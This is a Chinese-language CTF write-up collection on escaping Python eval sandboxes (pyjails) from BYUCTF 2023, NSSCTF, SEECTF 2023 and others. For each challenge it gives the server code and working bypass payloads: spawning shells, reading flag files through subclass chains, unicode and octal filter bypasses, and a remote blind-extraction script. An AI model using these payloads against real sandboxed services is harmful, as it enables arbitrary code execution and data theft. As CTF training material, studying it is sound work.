# https://github.com/Gallopsled/pwntools/blob/ef698d4562024802be5cc3e2fa49333c70a96662/pwnlib/util/safeeval.py#L3
_const_codes = [
'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
'BUILD_CONST_KEY_MAP', 'BUILD_STRING',
'LOAD_CONST','RETURN_VALUE','STORE_SUBSCR', 'STORE_MAP',
'LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE', 'DICT_UPDATE', 'DICT_MERGE',
]

_expr_codes = _const_codes + [
'UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY',
'BINARY_DIVIDE','BINARY_FLOOR_DIVIDE','BINARY_TRUE_DIVIDE',
'BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT',
'BINARY_LSHIFT','BINARY_RSHIFT','BINARY_AND','BINARY_XOR',
'BINARY_OR',
]

blocklist_codes = _expr_codes + ['MAKE_FUNCTION', 'CALL_FUNCTION']

TURING_PROTECT_SAFE = True

banned = '''
[
'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
]
'''

code = '''
import os
import sys
import traceback
import pwnlib.util.safeeval as safeeval
input_data = input('> ')
print(expr(input_data))
def expr(n):
if TURING_PROTECT_SAFE:
m = safeeval.test_expr(n, blocklist_codes)
return eval(m)
else:
return safeeval.expr(n)
'''

def expr(n):
if TURING_PROTECT_SAFE:
m = safeeval.test_expr(n, blocklist_codes)
return eval(m)
else:
return safeeval.expr(n)

try:
print('Turing s@Fe mode:', 'on' if TURING_PROTECT_SAFE else 'off')
print('Black List:')
print(banned)
print('some code:')
print(code)
while True:
input_data = input('> ')
try:
print(expr(input_data))
except Exception as err:
traceback.print_exc(file=sys.stdout)
except EOFError as input_data:
print()

Black List ban掉了一些Python字节码操作,这些操作大多与数据结构的修改、函数的创建和调用等功能相关。
但代码中真正起过滤作用的是pwnlib.util.safeeval,与BlackList相比仁慈地放出了MAKE_FUNCTION和CALL_FUNCTION两个字节码
于是采用lambda表达式直接打匿名函数

payload

1
2
(lambda: os.system('/bin/sh'))()
cat flag

另一个payload

1
(lambda x: eval(x))("__import__('os').system('cat flag')")

4 byte command(长度限制)

server.py

1
2
3
4
5
6
7
import os

input_data = input("> ")
if len(input_data)>4:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(os.system(input_data)))

payload

1
2
3
sh

cat flag

tyPe Ch@nnEl(type盲注)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
MY_FLAG = "NSSCTF{fake_flag_in_local_but_really_in_The_remote}"
BLACED_KLIST = '"%&\',-/_:;@\\`{|}~*<=>[] \t\n\r'
def my_safe_check(n):
return all(ord(m) < 0x7f for m in n) and all(m not in n for m in BLACED_KLIST)
def my_safe_eval(m, my_func):
if not my_safe_check(m):
print("Hacker!!!!")
else:
try:
print(eval(f"{my_func.__name__}({m})", {"__builtins__": {my_func.__name__: my_func}, "flag": MY_FLAG}))
except:
print("Try again!")
if __name__ == "__main__":
my_safe_eval(input("Payload:"), type)

经过一定尝试,我们发现可以用type类型,可以用flag变量,除此之外是禁了很多符号,基本上除了小括号、小数点、加和异或,其他都差不多无了。

一开始我们的思路肯定是用侧信道盲注的方法:既然还有一个异或,那么肯定用异或来构造。并且我们可以通过if else的方法来得到不同类型的输出,如下:

1
(1)if(some_expr)else(True)

我们可以通过枚举猜解值,通过与flag特定位置的ASCII码的异或值来比较。这里python会自动转为bool,而bool只有在输入0的时候才会转为False,其他条件均为True。

想法很美好,但是现实很骨感:首先我们此处的__builtins__被干得差不多了,没有ord函数;其次,不能直接通过索引的方式得到对应位字符,因为中括号被屏蔽了。不过这里我们可以先把flag转化为bytes,然后再变成list,这样list的每一位就是ASCII码值;另外list有pop()方法,可以返回对应位置的元素值。

flag已经是str了,转化为bytes直接用encode()方法。虽然我们没办法通过type([])来得到list,但是我们可以通过flag.split()方法得到一个list对象,然后通过type来得到相应的类。

type([])(‘test’) == list(‘test’) –> [‘t’, ‘e’, ‘s’, ‘t’]

bytes 的切片数据类型为 int
a = b’test’
type(a) –> “bytes”
type(a[0]) –> “int”
a[0] ^ 1 –> 117

所以payload变为

1
((1)if(type(flag.split())(flag.encode()).pop({pos})^{val})else(True))

完整盲注代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from tqdm import trange

class Gao:
def __init__(self):
self.known = ''

def init(self):
# self.conn = process(['python3', './server_type.py'])
self.conn = remote('node5.anna.nssctf.cn', 28788)

def gao(self):
payload = '((1)if(type(flag.split())(flag.encode()).pop({pos})^{val})else(True))'
i = len(self.known)
while True:
for j in trange(32, 128):
cur_payload = payload.format(pos=i, val=j)
self.init()
self.conn.sendlineafter('Payload:', cur_payload)
s = self.conn.recvline()
self.conn.close()
if (b'Try' in s):
return
elif (b'bool' in s):
self.known += chr(j)
print(self.known)
print(self.known)
print(self.known)
break
else:
raise Exception('GG simida')
i += 1

if __name__ == '__main__':
g = Gao()
g.gao()

BYUCTF 2023 Builtins 1(清空命名空间)

server.py

1
print(eval(input("code> "), {"__builtins__": {}}, {"__builtins__": {}}))

deepseek分析一下

eval(expr, globals, locals):在指定命名空间中执行表达式 expr。
globals 和 locals 参数均被设置为 {“__builtins__“: {}},即禁用所有内置函数和模块。
(1) 禁用内置函数
通过设置 __builtins__ 为空字典,禁止访问内置函数(如 open、__import__)和模块(如 os、sys)。
(2) 限制命名空间
globals 和 locals 均不提供任何预定义变量,用户只能使用表达式自身的字面量和简单运算。

攻击方法就是利用现有对象的继承链访问危险模块
payload

1
().__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('cat flag').read()

BYUCTF 2023 Builtins 2(清空命名空间,过滤双下划线)

server.py

1
2
3
4
5
inp = input("code> ")[:72]
if "__" in inp:
print("Nope")
else:
print(eval(inp, {"__builtins__": {}}, {"__builtins__": {}}))

用unicode编码绕过双下划线过滤,找到_frozen_importlib_external.FileLoader的get_data方法

1
().__class__.__base__.__subclasses__()

写一个python脚本看看_frozen_importlib_external.FileLoader是第几项

1
2
3
4
5
6
7
for idx, subclass in enumerate(().__class__.__base__.__subclasses__()):
if subclass.__name__ == 'FileLoader' and '_frozen_importlib_external' in subclass.__module__:
print(f"索引位置: {idx}")
print(subclass)
break
else:
print("未找到目标类")

最终payload

1
().__class__.__base__.__subclasses__()[94].get_data('.','flag.txt')

BYUCTF 2023 a-z0-9(过滤数字和字母)

server.py

1
eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

deepseek分析

1
2
3
4
5
6
7
eval(                                # 执行处理后的字符串作为Python代码
(__import__("re").sub( # 使用正则表达式替换
r'[a-z0-9]', # 匹配所有小写字母和数字
'', # 替换为空(删除这些字符)
input("code > ").lower() # 获取用户输入并转为小写
))[:130] # 截取前130个字符
)

用unicode字符或者斜体字来绕过
payload

1
breakpoint()

或者

1
𝘦𝘹𝘦𝘤("𝘢=𝘤𝘩𝘳;𝘣=𝘰𝘳𝘥;𝘤=𝘣('൬');𝘥=𝘢(𝘤-𝘣('೸'));𝘱𝘳𝘪𝘯𝘵(𝘰𝘱𝘦𝘯(𝘢(𝘤-𝘣('ആ'))+𝘢(𝘤-𝘣('ഀ'))+𝘢(𝘤-𝘣('ഋ'))+𝘢(𝘤-𝘣('അ'))+'.'+𝘥+𝘢(𝘤-𝘣('೴'))+𝘥).𝘳𝘦𝘢𝘥())")  #  读flag.txt

或者

1
__𝘪𝘮𝘱𝘰𝘳𝘵__(𝘤𝘩𝘳(𝘰𝘳𝘥('ʚ')-𝘰𝘳𝘥('ȫ'))+𝘤𝘩𝘳(𝘰𝘳𝘥('ř')-𝘰𝘳𝘥('æ'))).𝘴𝘺𝘴𝘵𝘦𝘮(𝘤𝘩𝘳(𝘰𝘳𝘥('ř')-𝘰𝘳𝘥('æ'))+𝘤𝘩𝘳(𝘰𝘳𝘥('ȉ')-𝘰𝘳𝘥('ơ')))  # sh

BYUCTF 2023 Leet 1(构造数字)

server.py

1
2
3
4
5
6
7
8
import re

FLAG = open('flag.txt').read()
inp = input('> ')
if re.search(r'\d', inp) or eval(inp) != 1337:
print('Nope')
else:
print(FLAG)

要求输入一个不包含数字且计算结果为 1337 的表达式

payload

1
int(str(len('a')) + str(len('aaa')) + str(len('aaa')) + str(len('aaaaaaa')))

BYUCTF 2023 Leet 2(构造数字)

server.py

1
2
3
4
5
6
7
8
import re

FLAG = open('flag.txt').read()
inp = input('> ')
if re.search(r'[123456789]', inp) or re.search(r'\(', inp) or eval(inp) != 1337:
print('Nope')
else:
print(FLAG)

留了0,十六进制绕过

payload

1
0xff+0xff+0xff+0xaf+0xaf+0xde

或者

1
[_:=[]>[],~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_+~_][[]==[]]*~_

BYUCTF 2023 abcdefghijklm(过滤字母限制长度RCE)

server.py

1
2
inp = input("code > ").lower()
eval((inp[:4]+__import__("re").sub(r'[a-m]','',inp[4:]))[:80])

八进制绕过

payload

1
eval("\145\166\141\154\050\151\156\160\165\164\050\051\051")

BYUCTF 2023 nopqrstuvwxyz(过滤字母限制长度RCE)

server.py

1
2
inp = input("code > ").lower()
eval((inp[:4]+__import__("re").sub(r'[n-z]','',inp[4:]))[:80])

八进制绕过

payload

1
eval("\157\160e\156(*\157\160e\156('/flag.\164\170\164'))")

Pwnhub 2022(过滤字母)

server.py

1
过滤了字母

unicode字符绕过
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
# open(bytes((47,102,108,97,103)).decode()).read()

## shell 生成
shell = f"__import__('os').popen('cat flag').read()"
shell = ','.join([str(ord(i)) for i in shell])
a = f'eval(bytes(({shell})).decode())'
b = list('abcdefghijklmnopqrstuvwxyz')
c = list('abcdefghijklmnopqrstuvwxyz')

assert len(b) == len(c)
for i in range(len(c)):
a = a.replace(c[i], b[i])
print(a)

Unknown(限制字符,清空buitins)

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
string = "abcdefghjklimnopqrstuvwxyz:=[]()_'"


def check(input_data: str):
if all([i in string for i in input_data]):
return True
return False


print("White list: [a-z] = : () [] '")
print('eval(input_data, {"__builtins__": {"__import__": __import__}})')
input_data = input()
if check(input_data):
eval(input_data, {"__builtins__": {"__import__": __import__}})
else:
print("Bad Code!!!")

清理了__builtins__,只保留了__import__,导致eval input等函数无法使用,尝试复原__builtins__

1
__builtins__ = __import__('builtins')

过滤了空格与句点,无法直接通过__import__后调用函数,尝试复原__builtins__后直接调用,就需要将赋值与调用放在同一个表达式中,涉及:=

1
2
3
4
5
a = [1, 2, 3, 4]
if (a := len(a)) > 3:
print(a)

# output: 4

在同一个语句中同时__import__与使用eval() input(),并且不适用空格等其余字符,则尝试and或or表达式,此处涉及and与or的短路逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def a():
print("a")
return 0


def b():
print("b")
return 1


def c():
print("c")
return 2


def d():
print("d")
return 3


def e():
print("e")
return 0


def f():
print("f")
return 4


def g():
print("g")
return 0


def h():
print("h")
return 5


result = a() and b() and c() or d() or e() and g() or h()
print("最终返回值:", result)

输出结果为:
a
d
最终返回值: 3

payload

1
(__builtins__:=__import__('builtins'))and(eval(input()))

and左侧先进行复原__builtins__,并且此时赋值结果等同于True

则仍需执行右侧表达式,此时达成RCE

1
__import__('os').system('sh')

SEECTF 2023: Another PyJail

payload

1
lambda g: ((lambda _0, _1: (lambda _2, _4, _8, _16, _32, _64, _128: (lambda _1234567890: (lambda s_n,s_r,s_a,s_o,s_t,s_c,s_l,s_larr,s_i,s_g,s_e,s_b,s_dash,s_f,s_ ,s_rarr,s_u,s_T,s_F,s_s,s_lbrack,s_rbrack,s_4,s_5,s_9,s_6,s_3,s_8,s_2,s_7,s_0,s_1,s_x,s_j,s_N: (lambda morestr: (lambda s_d,s_m,s_h: (lambda fromhex, decodestr: (lambda s__class__,s__bases__,s__subclasses__,s_load_module,s_system: (lambda load_module: (lambda os:(lambda system: system(s_s + s_h))(g(os, s_system)))(load_module(s_o + s_s)))(g(g(g(g(g, s__class__), s__bases__)[_0], s__subclasses__)()[_16+_64], s_load_module)))(g(fromhex(s_5+s_f+s_5+s_f+s_6+s_3+s_6+s_c+s_6+s_1+s_7+s_3+s_7+s_3+s_5+s_f+s_5+s_f), decodestr)(),g(fromhex(s_5+s_f+s_5+s_f+s_6+s_2+s_6+s_1+s_7+s_3+s_6+s_5+s_7+s_3+s_5+s_f+s_5+s_f), decodestr)(),g(fromhex(s_5+s_f+s_5+s_f+s_7+s_3+s_7+s_5+s_6+s_2+s_6+s_3+s_6+s_c+s_6+s_1+s_7+s_3+s_7+s_3+s_6+s_5+s_7+s_3+s_5+s_f+s_5+s_f), decodestr)(),g(fromhex(s_6+s_c+s_6+s_f+s_6+s_1+s_6+s_4+s_5+s_f+s_6+s_d+s_6+s_f+s_6+s_4+s_7+s_5+s_6+s_c+s_6+s_5), decodestr)(),g(fromhex(s_7+s_3+s_7+s_9+s_7+s_3+s_7+s_4+s_6+s_5+s_6+s_d), decodestr)()))(g(g(s_5+s_f, s_e+s_n+s_c+s_o+s_d+s_e)(), s_f+s_r+s_o+s_m+s_h+s_e+s_x), s_d+s_e+s_c+s_o+s_d+s_e))(morestr[_1+_2+_4+_8],morestr[_2+_8],morestr[_1+_4+_8]))(f"{g({}, s_g+s_e+s_t)}"))(f'{g}'[_8],f'{g}'[_1+_8+_16],f'{g}'[_2+_4+_16],f'{g}'[_16],f'{g}'[_1+_4],f'{g}'[_1+_4+_8],f'{g}'[_4],f'{g}'[_0],f'{g}'[_1+_2],f'{g}'[_1+_2+_16],f'{g}'[_4+_16],f'{g}'[_1],f'{g}'[_2+_4],f'{g}'[_2+_8],f'{g}'[_1+_8],f'{g}'[_2+_8+_16],f'{g}'[_2],f'{g==g}'[_0],f'{g!=g}'[_0],f'{g!=g}'[_1+_2],f"{({*f'{g}'[_0:_0]})}"[_1+_2],f"{({*f'{g}'[_0:_0]})}"[_4],f"{_1234567890}"[_1+_2],f"{_1234567890}"[_4],f"{_1234567890}"[_8],f"{_1234567890}"[_1+_4],f"{_1234567890}"[_2],f"{_1234567890}"[_1+_2+_4],f"{_1234567890}"[_1],f"{_1234567890}"[_2+_4],f"{_1234567890}"[_1+_8],f"{_1234567890}"[_0],f"{(lambda: (yield))()}"[_1+_2+_8+_16],f"{(lambda: (yield))()}"[_1+_4+_8],f"{(lambda: (yield))()}"[_2+_16]))(_2+_16+_64+_128+(_1<<(_1+_8))+(_1<<(_1+_16))+(_1<<(_2+_16))+(_1<<(_4+_16))+(_1<<(_1+_2+_4+_16))+(_1<<(_8+_16))+(_1<<(_1+_2+_8+_16))+(_1<<(_2+_4+_8+_16))))(_1+_1, _1<<(_1+_1), _1<<(_1+_1+_1), _1<<(_1+_1+_1+_1), _1<<(_1+_1+_1+_1+_1), _1<<(_1+_1+_1+_1+_1+_1), _1<<(_1+_1+_1+_1+_1+_1+_1)))(g!=g, g==g))